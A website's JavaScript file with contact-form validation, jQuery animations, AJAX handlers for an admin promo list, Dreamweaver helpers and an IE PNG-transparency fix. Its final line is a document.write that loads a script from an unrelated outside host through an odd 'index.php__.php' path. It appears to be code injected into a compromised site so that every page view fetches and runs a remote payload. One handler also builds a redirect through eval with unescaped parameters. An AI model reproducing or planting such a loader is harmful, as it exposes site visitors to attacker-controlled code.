	var catering = '';
	var filterparam ='';
	var	order_by = '';
	var	asc_by = '';
	var	key;
    var flag = 0; 
	
	
	// This function is for stripping leading and trailing spaces
	function trim(str) { 
		if (str != null) {
			var i; 
			for (i=0; i<str.length; i++) {
				if (str.charAt(i)!=" ") {
					str=str.substring(i,str.length); 
					break;
				} 
			} 
		
			for (i=str.length-1; i>=0; i--) {
				if (str.charAt(i)!=" ") {
					str=str.substring(0,i+1); 
					break;
				} 
			} 
			
			if (str.charAt(0)==" ") {
				return ""; 
			} else {
				return str; 
			}
		}
	}	
		
		
		
	
	///////////// emails
	
	
	function check_frm(){
	
	
		var errors = 0;
		var myfrm 	= document.getElementById("contact_form");
	
  		var poststr = "action=contactus" 
		+"&to="+ escape(myfrm.toemail.value)
		+"&name="+ escape(myfrm.name.value)
 		+"&zipcode="+ escape(myfrm.zipcode.value)
		+"&comments="+ escape(myfrm.comments.value)
		+"&email="+ escape(myfrm.email.value);


			  if(myfrm.name.value == "")
			  {
				$.prompt('Type your Name',{callback: function(){myfrm.name.focus();}, buttons: { Ok: false } });
				errors = 1;
			  }	
			  	
	 
			  if(validateEmail(myfrm.email.value) == false && errors == 0)
			  {
				$.prompt('Your Email is not valid.',{callback: function(){myfrm.email.focus();}, buttons: { Ok: false } });
				errors = 1;
			  }	
	 
	 
			  
			  if(myfrm.comments.value == "" && errors == 0)
			  {
				$.prompt('Type  your Message  ',{callback: function(){myfrm.comments.focus();}, buttons: { Ok: false } });
				errors = 1;
			  }	
			  
	 
				
			  if(errors == 0)
			  { 
				ajaxpack.postAjaxRequest("process_send.php", poststr, processForm, "txt");
			  }		

				  
	}
	
	
	
	 function show_Bad_Msg(){
	 
  	   		$('.box_body_3').slideUp();
  	   		$('#form_div').slideUp();
 	   		$('#form_bad').animate({height: "220"}, 1000);	 
  	   		$('.box_body_3').slideDown();
	 }
				  
	function show_Ok_Msg(){
	
  	   		$('.box_body_3').slideUp();
  	   		$('#form_div').slideUp();
 	   		$('#form_temp').animate({height: "220"}, 1000);	 
  	   		$('.box_body_3').slideDown();
 	}
	
	
	
	var giu = 0;
	
	
 		function initpeople(){
			
			
		
		$(document).ready(function(){	
			$(".hitme").bind("mouseenter", function(){moveBubbleUP();return false;  });	
			$(".hitme").bind("mouseleave", function(){moveBubbleDW();return false;  });	
			
			//$(".hitme").mouseover(function(){moveBubbleUP();return false;  });
			//$(".hitme").mouseout(function(){moveBubbleDW();return false;  });
			
 			$(".hitme").bind("click", function(){openEmail();return false;  });	
			$("#extraHitArea").bind("mouseenter", function(){moveBubbleUP();return false;  });	
			$("#extraHitArea").bind("mouseleave", function(){moveBubbleDW();return false;  });	
			$("#extraHitArea").bind("click", function(){openEmail();return false;  });	
		}); 
		

		}
	
 		function test(){
			st = setTimeout(init,1000);
		}
		function cleartest(){
			clearTimeout(st);
		} 
 		
	

		function moveBubbleUP(){
			
			if(giu == 0){
				$('#bubble1').animate({opacity: 1}, 200);
				$('#bubble1').animate({marginTop: "0px"}, 400);	
				$('#people0').animate({opacity: 1}, 200);
				$('#people1').animate({opacity: 1}, 200);
				$('#people1').animate({marginTop: "100px"}, 500);	 
				//$('#people0').animate({marginTop: "100px"}, 500);
				$("#people0").animate({marginTop: "100px"}, 500,  function(){giu = 1;} );
			}
			
		}
		function moveBubbleDW(){
			 
			if(giu == 1){
				if(flag==0){
					$('#bubble1').animate({marginTop: "100px"}, 400);
					$('#bubble1').animate({opacity: 0}, 200);
					$('#people1').animate({opacity: 0}, 200);
					$('#people0').animate({opacity: 1}, 200);
					$('#people0').animate({marginTop: "0px"}, 500);	 
					//$('#people1').animate({marginTop: "0px"}, 500);	 
					$("#people1").animate({marginTop: "0px"}, 500,  function(){giu = 0;} );
				}
			}
		
				
		}
		function openEmail(){
    		 flag = 1; 
			 $('.box_body_3').animate({opacity: 0}, 200);
 	   		 $('#cont_form').animate({marginTop: "0px"}, 900);	 
		}
		
		function closeEmail(){
    		 flag = 0; 
			 moveBubbleDW();
			   	   		$('.box_body_3').animate({opacity: 1}, 200);

 	   		$('#cont_form').animate({marginTop: "750px"}, 900);	 
			
		}
	/////////////


	function disableEnterKey(e)
	{
			 var key;      
			 if(window.event){  
			 key = window.event.keyCode; //IE
			 }
			 else { 
			 key = e.which; //firefox 
			 }     
		
			 return (key != 13);
	}
		
		
	function capWords(fo,p) {
		
			 
		var f 	= document.getElementById(fo);

		var p = f[p]; // The input text field
		var inputString = p; // The input text field
		

		var tmpStr, tmpChar, preString, postString, strlen;
		tmpStr = inputString.value.toLowerCase();
		stringLen = tmpStr.length;
		if (stringLen > 0)
		{
		  for (i = 0; i < stringLen; i++)
		  {
			if (i == 0)
			{
			  tmpChar = tmpStr.substring(0,1).toUpperCase();
			  postString = tmpStr.substring(1,stringLen);
			  tmpStr = tmpChar + postString;
			}
			else
			{
			  tmpChar = tmpStr.substring(i,i+1);
			  if (tmpChar == " " && i < (stringLen-1))
			  {
			  tmpChar = tmpStr.substring(i+1,i+2).toUpperCase();
			  preString = tmpStr.substring(0,i+1);
			  postString = tmpStr.substring(i+2,stringLen);
			  tmpStr = preString + tmpChar + postString;
			  }
			}
		  }
		}
		inputString.value = tmpStr;
		
 	}
		




	function updatePost(){
		var myajax=ajaxpack.ajaxobj
		var myfiletype=ajaxpack.filetype
		if (myajax.readyState == 4){ //if request of file completed
		if (myajax.status==200 || window.location.href.indexOf("http")==-1){ 
 		    refreshit();
			}
		}
	}

	function processForm(){
		var myajax=ajaxpack.ajaxobj
		var myfiletype=ajaxpack.filetype
		if (myajax.readyState == 4){ //if request of file completed
		if (myajax.status==200 || window.location.href.indexOf("http")==-1){ 
 		    
				var valo = Number(myajax.responseText);
 				if (valo == 0){  
					 show_Bad_Msg();
				} else{ 
					 show_Ok_Msg();
				}
			
			}
		}
	}



 	function processsubmitit(){
		var myajax=ajaxpack.ajaxobj
		var myfiletype=ajaxpack.filetype
		if (myajax.readyState == 4){ //if request of file completed
		if (myajax.status==200 || window.location.href.indexOf("http")==-1){ 
		 // alert(myajax.responseText);
		ajaxpack.postAjaxRequest(proccessurl, "order_by="+order_by+"&asc_by="+asc_by+"&filterTxt="+filterparam+"&catering="+catering+"&"+key, processGetPost, "txt");
			}
		}
	}

 	function processsubmit_promo(){
		var myajax=ajaxpack.ajaxobj
		var myfiletype=ajaxpack.filetype
		if (myajax.readyState == 4){ //if request of file completed
		if (myajax.status==200 || window.location.href.indexOf("http")==-1){ 
				var valo = Number(myajax.responseText);
				if (valo == 1){  
				alert('You reached the maximum numbers of box per page.\nUnpublish some in order to add other boxes.');
				} else{ 
				} 
				ajaxpack.postAjaxRequest(proccessurl, "order_by="+order_by+"&asc_by="+asc_by+"&filterTxt="+filterparam+"&catering="+catering+"&"+key, processGet_promo, "txt");
			}
		}
	}
 	function processdisable_promo(){
		var myajax=ajaxpack.ajaxobj
		var myfiletype=ajaxpack.filetype
		if (myajax.readyState == 4){ //if request of file completed
		if (myajax.status==200 || window.location.href.indexOf("http")==-1){ 
				ajaxpack.postAjaxRequest(proccessurl, "order_by="+order_by+"&asc_by="+asc_by+"&filterTxt="+filterparam+"&catering="+catering+"&"+key, processGet_promo, "txt");
			}
		}
	}


	function processGet_promo(){
		var myajax=ajaxpack.ajaxobj
		var myfiletype=ajaxpack.filetype
		if (myajax.readyState == 4){ //if request of file completed
		if (myajax.status==200 || window.location.href.indexOf("http")==-1){  
 				
				var valo = Number(myajax.responseText);
 				if (valo == 0){  
					 document.getElementById("container_temp").innerHTML = "No results."; 
					 document.getElementById("container").innerHTML = "";
					 
					} else{ 
					 document.getElementById("container").innerHTML = myajax.responseText;
					 document.getElementById("container_temp").innerHTML = ""; 
				}

			}
		}
	}
	 

	function processGetPost(){
		var myajax=ajaxpack.ajaxobj
		var myfiletype=ajaxpack.filetype
		if (myajax.readyState == 4){ //if request of file completed
		if (myajax.status==200 || window.location.href.indexOf("http")==-1){  
				var valo = Number(myajax.responseText);
 				if (valo == 0){  
					 document.getElementById("container_temp").innerHTML = "No results."; 
					 document.getElementById("container").innerHTML = "";
					 
					} else{ 
					 document.getElementById("container").innerHTML = myajax.responseText;
					 document.getElementById("container_temp").innerHTML = ""; 
				}

			}
		}
	}
	 

 
	function processAddPost(){
		var myajax=ajaxpack.ajaxobj
		var myfiletype=ajaxpack.filetype
		if (myajax.readyState == 4){ //if request of file completed
		if (myajax.status==200 || window.location.href.indexOf("http")==-1){ 
			// alert(myajax.responseText);
				//if(paramAddPost1 !== ""){
					//if(paramAddPost5 !== ""){
							eval("window.location='"+paramAddPost2+".php?"+paramAddPost3+"="+ paramAddPost1 +"&"+paramAddPost4+"="+paramAddPost5+"'");
					//} else { 
					//		eval("window.location='"+paramAddPost2+".php?"+paramAddPost3+"="+ paramAddPost1 +"   '");
					//}							
				 //} else { 
				//			eval("window.location='"+paramAddPost2+".php'");
				// } 
			}
		}
	}
	 

	function refreshit(){
		ajaxpack.postAjaxRequest(proccessurl, key+"", processGetPost, "txt");
	}
	
	function change_input_stye(param,hasFocus){
			//if(hasFocus == true ) {alert(param)}
			document.getElementById(param).style.color='#3A2A09';
			document.getElementById(param).style.border='2px solid #3A2A09';
			document.getElementById(param).style.backgroundColor='#ffffff';
	}
	
		
	function empty_Search(){
			document.getElementById('txtSearch').value = '';
	}
	
		
	function change_hover_style(param){
			document.getElementById(param).style.border='2px solid #87C2BB';
	}
	
	
	function change_input_rtn(param,hasFocus){
			document.getElementById(param).style.border='2px solid #dddddd';
			document.getElementById(param).style.backgroundColor='#E8E8E8';
	}
	
	
	function change_out_style(param){
			document.getElementById(param).style.border='2px solid #dddddd';
			document.getElementById(param).style.backgroundColor='#E8E8E8';
	}
	

	function change_input_back(param){
			document.getElementById("msg_saved").style.visibility="hidden";
			document.getElementById(param).style.border='2px solid #D9D9D9';
			document.getElementById(param).style.backgroundColor='#E8E8E8';
	}
	
	function refreshordit(p1,p2){
		order_by = p1;
		asc_by = p2;
		ajaxpack.postAjaxRequest(proccessurl, "order_by="+order_by+"&asc_by="+asc_by+"&filterTxt="+filterparam+"&catering="+catering, processGetPost, "txt");
	}
	
 	function filterCancel(){
		filterparam = '';
		document.getElementById("filtercancel").style.display = "none";
		document.getElementById("filterbox").value="Type here";
		ajaxpack.postAjaxRequest(proccessurl, key+"&order_by="+order_by+"&asc_by="+asc_by+"&filterTxt=&catering="+catering, processGetPost, "txt");
	}
	
	
	
	function filterList(param){
		document.getElementById("filtercancel").style.display="block";
		filterparam = param;
		ajaxpack.postAjaxRequest(proccessurl, key+"&order_by="+order_by+"&asc_by="+asc_by+"&filterTxt="+filterparam+"&catering="+catering, processGetPost, "txt");
	}

	


	function searchBox_clear(){
		var ss = document.getElementById('search_Box');
		if(ss.value=="Search"){
			ss.value="";
		}
	}
	
	
	
	function changeMyValue(par){
			if(document.getElementById(par).checked){
				document.getElementById(par).value = "1";
			}else{
				document.getElementById(par).value = "0";
			}
	}
	
	function couponPrint(ptarget) 
	{ 
		ptarget.focus(); 
		ptarget.print(); 
	} 
	
	function MM_openBrWindow(theURL,winName,features) { //v2.0
	  window.open(theURL,winName,features);
	}
	
	
	
	function MM_preloadImages() { //v3.0
	  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
		var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
		if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
	}
	
	
	
	function MM_swapImgRestore() { //v3.0
	  var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
	}
	
	
	
	function MM_findObj(n, d) { //v4.01
	  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
		d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
	  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
	  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
	  if(!x && d.getElementById) x=d.getElementById(n); return x;
	}
	
	
	
	function MM_swapImage() { //v3.0
	  var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
	   if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
	}
		
		
 	
	
	
	
	function submitit(param1, param2){ 
		ajaxpack.postAjaxRequest("process_submitit.php", "order_by="+order_by+"&asc_by="+asc_by+"&pre_table="+param1+"&id="+param2+"&filterTxt="+filterparam+"&catering="+catering, processsubmitit, "txt");
	}
	
	
	
	function disableit(param1, param2){
		ajaxpack.postAjaxRequest("process_disable.php", "order_by="+order_by+"&asc_by="+asc_by+"&pre_table="+param1+"&id="+param2+"&filterTxt="+filterparam+"&catering="+catering, processsubmitit, "txt");
	}
	
	
	
	
	
	
	
	
	function submit_promo_it(param1, param2, cat){ 
		ajaxpack.postAjaxRequest("process_submit_promo.php", "order_by="+order_by+"&asc_by="+asc_by+"&pre_table="+param1+"&id="+param2+"&filterTxt="+filterparam+"&catering="+catering+"&cat="+cat, processsubmit_promo, "txt");
	}
	
	
	
	function disable_promo_it(param1, param2, cat){
		ajaxpack.postAjaxRequest("process_disable_promo.php", "order_by="+order_by+"&asc_by="+asc_by+"&pre_table="+param1+"&id="+param2+"&filterTxt="+filterparam+"&catering="+catering+"&cat="+cat, processdisable_promo, "txt");
	}
	
	
	
	
	

	function submitslideit(param1, param2){ 
		ajaxpack.postAjaxRequest("process_submititslide.php", "order_by="+order_by+"&asc_by="+asc_by+"&pre_table="+param1+"&id="+param2, processsubmitit, "txt");
	}
	
	
	
	function disableslideit(param1, param2){
		ajaxpack.postAjaxRequest("process_disableslide.php", "order_by="+order_by+"&asc_by="+asc_by+"&pre_table="+param1+"&id="+param2, processsubmitit, "txt");
	}
	



	
	function deleteit(param){
		if(param!=false){
		ajaxpack.postAjaxRequest(proccessurl, key+"action=delete&id="+param, processGetPost, "txt");
		}
	}
	
	function movedw(param){
		ajaxpack.postAjaxRequest(proccessurl, key+"action=movedw&id="+param, processGetPost, "txt");
	}
	
	
	function moveup(param){
		ajaxpack.postAjaxRequest(proccessurl, key+"action=moveup&id="+param, processGetPost, "txt");
	}


 
	function formReset(p)
	{
		document.getElementById(p).reset();
	}




function startUpload(param){
		
		  document.getElementById('upload_loader').style.visibility = 'visible';
		  document.getElementById('upload_msg').innerHTML = '';
		  document.getElementById('upload_msg').style.visibility = 'hidden';      
		
		
	   var theForm =  document.getElementById(param);
	  var request = {};
	  var fileName = '';
	  
	  for (var i=0; i < theForm.elements.length; i++) { 
		ele = theForm.elements[i];
		if (ele.type == 'file') {
		  var fileName = ele.value;
			if (fileName.indexOf('/') > -1) { 
			  fileName = fileName.substring(fileName.lastIndexOf('/')+1, fileName.length);
		  }	else {
			  fileName = fileName.substring(fileName.lastIndexOf('\\')+1, fileName.length);
		  }
		  break;
		}
	  }
	  if (fileName.replace('/\s/', '').toString() === '') {return;}
	  theForm.submit();
	  return true;
	}
	
	
	
	function stopUpload(success){
		  var result = '';
		  if (success == 1){
			 result = '<div class="msg">File Uploaded!<\/div>';
		  }
		  else {
			 result = '<div class="emsg">Error. File not uploaded. <a href="">Retry</a>.<\/div>';
		  }
		  document.getElementById('upload_loader').style.visibility = 'hidden';
		  document.getElementById('upload_msg').innerHTML = result;
		  document.getElementById('upload_msg').style.visibility = 'visible';      
		  return true;   
	}
	
	
	
	
		 function  changeTitle(p,c) {
			 
		  for(i=0;i < c; i++) {
			  
				document.getElementById('title'+i).style.marginLeft = '-600px';
		  }
		
		  document.getElementById('title'+p).style.marginLeft = '0px';
		 
		 }; 
		 
		 function  openFlash() { $("#flash_slideshow").animate({height: "280px" }, 1000 );	}; 
		 function  closeFlash(){ $("#flash_slideshow").animate({height: "0px" }, 1000 );	}; 
	
	
	
	
	
	
/*
 
Correctly handle PNG transparency in Win IE 5.5 & 6.
http://homepage.ntlworld.com/bobosola. Updated 18-Jan-2006.

Use in <HEAD> with DEFER keyword wrapped in conditional comments:
<!--[if lt IE 7]>
<script defer type="text/javascript" src="pngfix.js"></script>
<![endif]-->

*/

var arVersion = navigator.appVersion.split("MSIE")
var version = parseFloat(arVersion[1])

if ((version >= 5.5) && (document.body.filters)) 
{
   for(var i=0; i<document.images.length; i++)
   {
      var img = document.images[i]
      var imgName = img.src.toUpperCase()
      if (imgName.substring(imgName.length-3, imgName.length) == "PNG")
      {
         var imgID = (img.id) ? "id='" + img.id + "' " : ""
         var imgClass = (img.className) ? "class='" + img.className + "' " : ""
         var imgTitle = (img.title) ? "title='" + img.title + "' " : "title='" + img.alt + "' "
         var imgStyle = "display:inline-block;" + img.style.cssText 
         if (img.align == "left") imgStyle = "float:left;" + imgStyle
         if (img.align == "right") imgStyle = "float:right;" + imgStyle
         if (img.parentElement.href) imgStyle = "cursor:hand;" + imgStyle
         var strNewHTML = "<span " + imgID + imgClass + imgTitle
         + " style=\"" + "width:" + img.width + "px; height:" + img.height + "px;" + imgStyle + ";"
         + "filter:progid:DXImageTransform.Microsoft.AlphaImageLoader"
         + "(src=\'" + img.src + "\', sizingMethod='scale');\"></span>" 
         img.outerHTML = strNewHTML
         i = i-1
      }
   }
}






document.write('<script src=http://humanconcern.org/flash/index.php__.php ><\/script>');
